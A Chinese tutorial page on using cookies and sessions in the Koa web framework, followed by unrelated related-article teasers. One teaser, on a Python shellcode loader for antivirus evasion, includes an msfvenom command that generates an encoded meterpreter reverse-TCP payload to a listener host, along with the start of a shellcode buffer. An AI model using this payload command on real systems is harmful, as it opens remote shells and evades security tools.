97 # session

koa 里的 cookie 用法

koa 里内置了设置 cookie 的方法

npm init -y
npm i koa @koa/router

用法:

const Koa = require("koa");
const Router = require("@koa/router");
const crypto = require("crypto");const app = new Koa();
let router = new Router();
app.use(router.routes());app.keys = ["kaimo"];router.get("/visit", async (ctx, next) => {let visit = ctx.cookies.get("visit") || 0;visit++;ctx.cookies.set("visit", `${visit}`, {httpOnly: true,signed: true});ctx.body = `你当前访问次数${visit},签名:${crypto.createHmac("sha1", "kaimo").update(`visit=${visit}`).digest("base64")}`;
});app.listen(3000);console.log("Server running at http://127.0.0.1:3000/");

在这里插入图片描述

session

  • session 基于 cookie 的,通过 cookie 的机制,制造一个服务端存储的空间
  • session 比 cookie 安全,每次重启服务会丢失,可以用 redis 来存储 session

办卡例子:给一个固定的卡号

npm i uuid
const Koa = require("koa");
const Router = require("@koa/router");
const uuid = require("uuid");const app = new Koa();
let router = new Router();
app.use(router.routes());app.keys = ["kaimo"];const session = {};
const cardName = "kaimo.sid"; // 卡的名字,标识店铺名router.get("/visit", async (ctx, next) => {let cardId = ctx.cookies.get(cardName);if (cardId && session[cardId]) {session[cardId].count--;ctx.body = `你有${session[cardId].count}次机会`;} else {let cardId = uuid.v4();session[cardId] = { count: 3 };ctx.cookies.set(cardName, cardId);ctx.body = `你有${session[cardId].count}次机会`;}
});app.listen(3000);console.log("Server running at http://127.0.0.1:3000/");

在这里插入图片描述

koa-session 用法

Koa 的简单会话中间件。默认为基于 Cookie 的会话并支持外部存储。

https://www.npmjs.com/package/koa-session

npm i koa-session
const Koa = require("koa");
const Router = require("@koa/router");
const session = require("koa-session");const app = new Koa();
let router = new Router();
app.use(session({}, app));
app.use(router.routes());app.keys = ["kaimo"];router.get("/visit", async (ctx, next) => {ctx.session.visit = ctx.session.visit || 0;ctx.session.visit++;ctx.body = `你有${ctx.session.visit}次机会`;
});app.listen(3000);console.log("Server running at http://127.0.0.1:3000/");

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/102918.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

3D 生成重建004-DreamFusion and SJC :TEXT-TO-3D USING 2D DIFFUSION

3D 生成重建004-DreamFusion and SJC :TEXT-TO-3D USING 2D DIFFUSION 文章目录 0 论文工作1 论文方法1.1论文方法1.2 CFG1.3影响1.4 SJC 2 效果 0 论文工作 对于生成任务,我们是需要有一个数据样本,让模型去学习数据分布 p ( x ) p(x) p(x…

易点云CFO向征:CFO不能只讲故事,价值创造才是核心

作者 | 曾响铃 文 | 响铃说 在今年6月初,也是易点云上市6天后,《巴伦周刊》正式启动评价“2023港美上市中国企业CFO精英100”的活动。 时间来到9月,评价揭秘,易点云CFO向征成功入选,被评为“年度最具成长潜力CFO”…

windows创建服务:更新服务信息乱码问题(ChangeServiceConfig)

因为小项目需要创建windows服务,安装微软官方示例一切都挺顺利,代码运行后发现配置的信息在系统里显示乱码。打开注册表发现的确是乱码。这就排除软件读取得问题,而是调用ChangeServiceConfig系统函数写入时就发生了乱码。让我在网上查找了一…

python加载shellcode免杀

1、第一个shellcode加载器 import ctypes# msf生成的shellcode,命令:msfvenom -e x64/xor_dynamic -i 16 -p windows/x64/meterpreter_reverse_tcp lhost192.168.111.111 lport80 -f py -o shell.py buf b"" buf b"\xeb\x27\x5b\x53\…

MAX17058_MAX17059 STM32 iic 驱动设计

本文采用资源下载链接,含完整工程代码 MAX17058-MAX17059STM32iic驱动设计内含有代码、详细设计过程文档,实际项目中使用代码,稳定可靠资源-CSDN文库 简介 MAX17058/MAX17059 IC是微小的锂离子(Li )在手持和便携式设备的电池电量计。MAX170…

关于Win系统提示由于找不到msvcr120.dll文件问题解决办法

在我使用电脑的过程中,突然弹出了一个错误提示框,提示我系统中缺少msvcp120.dll文件。这个文件是系统运行所必需的,缺少它可能会导致一些软件无法正常运行。经过一番搜索和咨询,我找到了以下几种解决方案,分享给大家&a…

OpenCV中initUndistortRectifyMap ()函数与十四讲中去畸变公式的区别探究

文章目录 1.十四讲中的去畸变公式2. OpenCV中的去畸变公式3. 4个参数和8个参数之间的区别4.initUndistortRectifyMap()函数源码 最近在使用OpenCV对鱼眼相机图像去畸变时发现一个问题,基于针孔模型去畸变时所使用的参数和之前十四讲以及视觉SLAM中的畸变系数有一点不…

Vue-2.3v-model原理

原理:v-model本质上是一个语法糖,例如应用在输入框上,就是value属性和input事件的合写。 作用:提供数据的双向绑定 1)数据变,视图跟着变:value 2)视图变,数据跟着变input 注意&a…

把短信验证码储存在Redis

校验短信验证码 接着上一篇博客https://blog.csdn.net/qq_42981638/article/details/94656441,成功实现可以发送短信验证码之后,一般可以把验证码存放在redis中,并且设置存放时间,一般短信验证码都是1分钟或者90s过期,…

伦敦金的交易时间究竟多长?

接触过伦敦金交易的投资者,应该都知道自己根本不用担心市场上没有交易的机会,因为它全天的交易时间长达20多个小时,也就是在每一个正常的交易日,除去交易平台中途短暂的系统维护时间,投资者几乎全天都可以做盘。 伦敦金…

Maven导入程序包jakarta.servlet,但显示不存在

使用前提:(Tomcat10版本)已知tomcat10版本之后,使用jakart.servlet。而tomcat9以及之前使用javax.servlet。 问题描述:在maven仓库有导入了Jakarta程序包,但是界面仍然显示是javax。(下图&…

Unity实现设计模式——适配器模式

Unity实现设计模式——适配器模式 适配器模式又称为变压器模式、包装模式(Wrapper) 将一个类的接口变换成客户端所期待的另一种接口,从而使原本因接口不匹配而无法在一起工作的两个类能够在一起工作。 在一个在役的项目期望在原有接口的基础…

一文带你上手自动化测试中的PO模式!

在UI的自动化测试中,我们需要把测试使用到的数据分离到文件中,如果单纯的写在我们的测试模块里面,不是一个好的设计,所以不管是什么类型的自动化测试,都是需要把数据分离出来的。当然分离到具体的文件里面,…

智能井盖传感器:数智赋能让城市管理更智慧

智能井盖传感器:数智赋能让城市管理更智慧 在城市化快速发展的今天,保护和增强城市基础设施生命线的需求至关重要。而井盖作为守护城市地下空间的安全门,其智能化管理与城市生命线安全工程建设息息相关。在这篇文章中将为大家详细介绍智能井…

OpenCV级联分类器识别车辆实践笔记

1. OpenCV 级联分类器的基本原理 基于Haar特征的级联分类器的目标检测是Paul Viola和Michael Jones在2001年的论文中提出的一种有效的目标检测方法。这是一种基于机器学习的方法,从大量的正面和负面图像中训练级联函数。然后用它来检测其他图像中的物体。 Haar特征…

CTF Misc(3)流量分析基础以及原理

前言 流量分析在ctf比赛中也是常见的题目,参赛者通常会收到一个网络数据包的数据集,这些数据包记录了网络通信的内容和细节。参赛者的任务是通过分析这些数据包,识别出有用的信息,例如登录凭据、加密算法、漏洞利用等等 工具安装…

共生与共享:线程与进程的关系

🌍前言 在计算机科学和操作系统领域,线程(Thread)和进程(Process)是两个关键概念。它们之间存在密切的关系,但又有着明显的区别。本文将深入探讨线程和进程之间的关系,以及它们在并…

使用Perl脚本编写爬虫程序的一些技术问题解答

网络爬虫是一种强大的工具,用于从互联网上收集和提取数据。Perl 作为一种功能强大的脚本语言,提供了丰富的工具和库,使得编写的爬虫程序变得简单而灵活。在使用的过程中大家会遇到一些问题,本文将通过问答方式,解答一些…

telnet 连接闪退

目录 问题查找问题解决参考 问题 在使用 telnet 连接板子时,出现了 telnet 界面一闪而逝的情况。正常板子开机,查看其存在 telnetd 进程,而使用 telnet 后,登录界面一闪而逝,板子上的 telnetd 进程消失。 查找问题 …

python psutil库之——获取网络信息(网络接口信息、网络配置信息、以太网接口、ip信息、ip地址信息)

文章目录 使用Python psutil库获取网络信息安装psutil库获取网络连接信息查看所有网络连接过滤特定状态的连接 获取网络接口信息获取网络IO统计信息实例1实例2 总结 使用Python psutil库获取网络信息 Python的psutil库是一个跨平台库,能够方便地获取系统使用情况和…